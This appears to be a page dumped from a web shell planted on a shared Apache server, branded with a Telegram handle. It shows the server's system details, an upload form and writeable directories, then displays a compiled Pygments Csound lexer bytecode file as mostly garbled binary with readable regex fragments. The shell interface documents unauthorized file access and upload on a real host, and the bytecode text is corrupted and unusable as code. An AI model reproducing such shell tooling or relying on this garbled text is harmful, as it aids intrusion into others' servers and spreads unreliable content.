https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/csound.cpython-310.pyc
o

���aAB�@s�dZddlZddlmZmZmZmZmZmZddl	m
Z
mZmZm
Z
mZmZmZmZmZmZddlmZmZmZddlmZddlmZddlmZgd	�Zd
ee
je�fZ Gdd�de�Z!Gd
d�de!�Z"Gdd�de!�Z#Gdd�de�Z$dS)z�
    pygments.lexers.csound
    ~~~~~~~~~~~~~~~~~~~~~~

    Lexers for Csound languages.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�
RegexLexer�bygroups�default�include�using�words)
�Comment�Error�Keyword�Name�Number�Operator�Punctuation�String�Text�
Whitespace)�OPCODES�DEPRECATED_OPCODES�REMOVED_OPCODES)�	HtmlLexer)�PythonLexer)�LuaLexer)�CsoundScoreLexer�CsoundOrchestraLexer�CsoundDocumentLexerz((?:(?:;|//).*)*)(\n)c
@s<eZdZiddefdejfdejfdeee�fg�ddej	fdej	d	fd
ej	dfdej	d
fdej	dfg�de
d�dedfg�d	e
d�dedfg�d
defe
d�deej	e�dfdej	dfg�de
d�dej	fdefdedfg�ddefe
d�dedfg�dd ej	fd!ej	fd"edfg�de
d�dej	dfg�d#d$eej	e�d%fd&ej	fg�d%d'ej	fdefded(fd)ed*fd+ej	d,fdedfg�d(d-ej	fd.e
fe
d/�g�d*d-ej	fd.e
fe
d0�g�d,d1ej	fd+ej	d2fdej	dfg�d3e
d�e
d#�g�d4d5ejfd6eejej�fd7ejfg�d/dedfd8efe
d#�d9efg�d0gi�Zd:S);�CsoundLexer�
whitespacez[ \t]+z/[*](?:.|\n)*?[*]/�(?:;|//).*$z(\\)(\n)�preprocessor directivesz)#(?:e(?:nd(?:if)?|lse)\b|##)|@@?[ \t]*\d+z#includestrzincludestr directivez#includezinclude directivez
#[ \t]*definezdefine directivez#(?:ifn?def|undef)\bzmacro directivez
([^ \t]).*?\1�#pop�")r�
quoted string�\nz([A-Z_a-z]\w*)(\())r�macro parameter name list�[A-Z_a-z]\w*)r�before macro bodyr#z['#]z\)r%�#)r�
macro bodyr'z(?:\\(?!#)|[^#\\]|\n)+z\\#z(?<!\\)#�
macro usesz(\$[A-Z_a-z]\w*\.?)(\()zmacro parameter value listz\$[A-Z_a-z]\w*(?:\.|\b)z(?:[^\'#"{()]|\{(?!\{))+z#macro parameter value quoted string�\{\{z#macro parameter value braced stringz\(z#macro parameter value parentheticalz\\[#'()]z[#'()]r!�
braced stringz(?:[^\\()]|\\\))+z#push�whitespace and macro uses�numbersz2\d+[Ee][+-]?\d+|(\d+\.\d*|\d*\.\d+)([Ee][+-]?\d+)?z(0[Xx])([0-9A-Fa-f]+)�\d+z[^"$]+z[$]N)�__name__�
__module__�__qualname__rr�	Multiline�Singlerr�Preprocrrrr	r�Floatr
�Type�Hex�Integer�tokens�r9r9�8/usr/lib/python3/dist-packages/pygments/lexers/csound.pyrs���



�������
�� ��&��+��1
��6���;
��C��H��M

��S��X��^��e
�rc@s�eZdZdZdZddgZdgZdefed�ed�d	e	fd
e	j
fdee	ej
�fde	d
fed�defdefdedfdejdfged�dejfdedfged�dej
dfged�dejdfgdejdfed�gdedfdefgd�ZdS) rzO
    For `Csound <https://csound.com>`_ scores.

    .. versionadded:: 2.1
    zCsound Scorezcsound-scorez
csound-scoz*.scor"r+rz[aBbCdefiqstvxy]�zz([nNpP][pP])(\d+)z[mn]�mark statementr,z[!+\-*/^%&|<>#~.]z[()\[\]]r r!z\{�loop after left bracer$rr-)r�loop after repeat count)r�loopz\}�root�\}\}z
[^}]|\}(?!\}))r@r<r=r>r?r*N)r.r/r0�__doc__�name�aliases�	filenamesrrr
�Constantrrr7r
rrrr3r�Labelr8r9r9r9r:r�sF
��
�
�
��
�rc@sReZdZdZdZddgZddgZe�Zdd�Z	d	d
�Z
iddefd
eee
jee�fed�ed�dejdfdejdfdejfed�g�dde
jjfed�defdefdedfdedfedddd �efed!ddd �ejfd"ed#fd$eeje�d#fd%eeje�d&fd'eeje�d(fd)eeje�d*fd+e
jd,fd-e
jd.fd/e
jd0fd1e
jd2fd3e
jjfd4e
fg�ded�d5e
jfd6efded7fg�ded�d8e	d9fded7fg�d:ed�d;ejfd<efded7fg�dded7fd=efed>�ed?�ed@�dAefg�ddBed7fdCefed?�ed@�dDefg�d?dEejfg�d@dFejfdGejfg�dHed�d<ed7fed�g�d#ed�dIe
jd7fed7�g�d,ed�dedJfed7�g�dJdKejfdLejfed�g�d.ed�dedfdedMfded7fg�dMdBed7fdNe e!�fg�d0ed�dedfdedOfded7fg�dOdBed7fdNe e"�fg�ed�dedfdedPfded7fgdBed7fdNe e#�fgdQ��Z$dRS)SrzS
    For `Csound <https://csound.com>`_ orchestras.

    .. versionadded:: 2.1
    zCsound Orchestra�csoundz
csound-orcz*.orcz*.udoccs.�|�d�}|j�|�|��tj|fVdS)Nr)�group�user_defined_opcodes�add�startr�Function)�lexer�match�opcoder9r9r:�opcode_name_callback�s�
z)CsoundOrchestraLexer.opcode_name_callbackccs��tj}|�d�}|tvs|tvs|tvr|��tj|fVn;||j	vr.|��tj
|fVn,t}t�d|�}|rR|�d�tj|�d�fV|�d�t|�d�fVn|��t|fV|�d�ry|�d�t
|�d�fV|�d�||�d�fVdSdS)N�z^(g?[afikSw])(\w+)��)r
r5rIrrrrLr�BuiltinrJrM�re�searchr)rNrO�type_annotation_tokenrC�
name_matchr9r9r:�
name_callback�s"�


�z"CsoundOrchestraLexer.name_callbackr@r"z^([ \t]*)(\w+)(:)([ \t]+|$)r+rz	\binstr\bz"instrument numbers and identifiersz
\bopcode\bzafter opcode keywordz\b(?:end(?:in|op))\bzpartial statementsz-\b(?:0dbfs|A4|k(?:r|smps)|nchnls(?:_i)?|sr)\br,u@\+=|-=|\*=|/=|<<|>>|<=|>=|==|!=|&&|\|\||[~¬]|[=!+\-*/^%&|<>#?:]z	[(),\[\]]r r!r)r*)
�do�else�elseif�endif�enduntil�fi�if�ithen�kthen�od�then�until�whilez\b)�prefix�suffix)�return�rireturnz
\b[ik]?goto\b�
goto labelz"\b(r(?:einit|igoto)|tigoto)(\(|\b)z\b(c(?:g|in?|k|nk?)goto)(\(|\b))rl�
goto argumentz\b(timout)(\(|\b))rlrmrmz\b(loop_[gl][et])(\(|\b))rlrmrmrmz\bprintk?s\bz
prints opcodez"\b(?:readscore|scoreline(?:_i)?)\bzCsound score opcodez\bpyl?run[it]?\bz
Python opcodez\blua_(?:exec|opdef)\b�
Lua opcodez\bp\d+\bz$\b([A-Z_a-z]\w*)(?:(:)([A-Za-z]))?\bz\d+|[A-Z_a-z]\w*z[+,]rr$)r�opcode type signaturesroz0|[afijkKoOpPStV\[\]]+�,z
[^\\"$%)]+r(zescape sequenceszformat specifiersz[\\$%)]rAz(?:[^\\%)}]|\}(?!\}))+z[\\%)]z\\(?:[\\abnrt"]|[0-7]{1,3})z'%[#0\- +]*\d*(?:\.\d+)?[AE-GXac-giosux]z%%rmz\w+zprints quoted stringz\\\\[aAbBnNrRtT]z%[!nNrRtT]|[~^]{1,2}zCsound scorez([^}]+)|\}(?!\})�Python�Lua)rnrrN)%r.r/r0rBrCrDrE�setrJrQrZrrrrGrrr
�Declaration�Variable�Globalr
rr�PseudorU�InstancerMr5�Escape�Interpolrrrrrr8r9r9r9r:r�sR

��
������




��3��:��?��I��Q��X��m��r��w
��}�����	���
������
��� �
���rc@s�eZdZdZdZddgZdgZdejfdej	fde
fd	ejd
fdejdfd
ejdfdejdfdejfgdejdfde
e�fgdejdfde
e�fgdejdfde
e�fgdefdejdfdejdfgdefdedfdedfdedfgd �Zd!S)"rzR
    For `Csound <https://csound.com>`_ documents.

    .. versionadded:: 2.1
    zCsound Documentzcsound-documentz
csound-csdz*.csdz/[*](.|\n)*?[*]/rz[^/;<]+|/(?!/)z<\s*CsInstruments)�	orchestra�tagz<\s*CsScore)�scorer|z<\s*[Hh][Tt][Mm][Ll])�HTMLr|z<\s*[\w:.-]+r|z<\s*/\s*[\w:.-]+\s*>z<\s*/\s*CsInstruments\s*>rz%(.|\n)+?(?=<\s*/\s*CsInstruments\s*>)z<\s*/\s*CsScore\s*>z(.|\n)+?(?=<\s*/\s*CsScore\s*>)z<\s*/\s*[Hh][Tt][Mm][Ll]\s*>z((.|\n)+?(?=<\s*/\s*[Hh][Tt][Mm][Ll]\s*>)z\s+z[\w.:-]+\s*=�attrz/?\s*>z".*?"z'.*?'z[^\s>]+)r@r{r}r~r|rN)r.r/r0rBrCrDrErr1r2rr�Tagrrrrr�	Attributerr8r9r9r9r:r�sB



�

�

�

�

��
�r)%rBrV�pygments.lexerrrrrrr�pygments.tokenrr	r
rrr
rrrr� pygments.lexers._csound_builtinsrrr�pygments.lexers.htmlr�pygments.lexers.pythonr�pygments.lexers.scriptingr�__all__r2�newlinerrrrr9r9r9r:�<module>s
 0lBS

https://t.me/RX1948 - 2025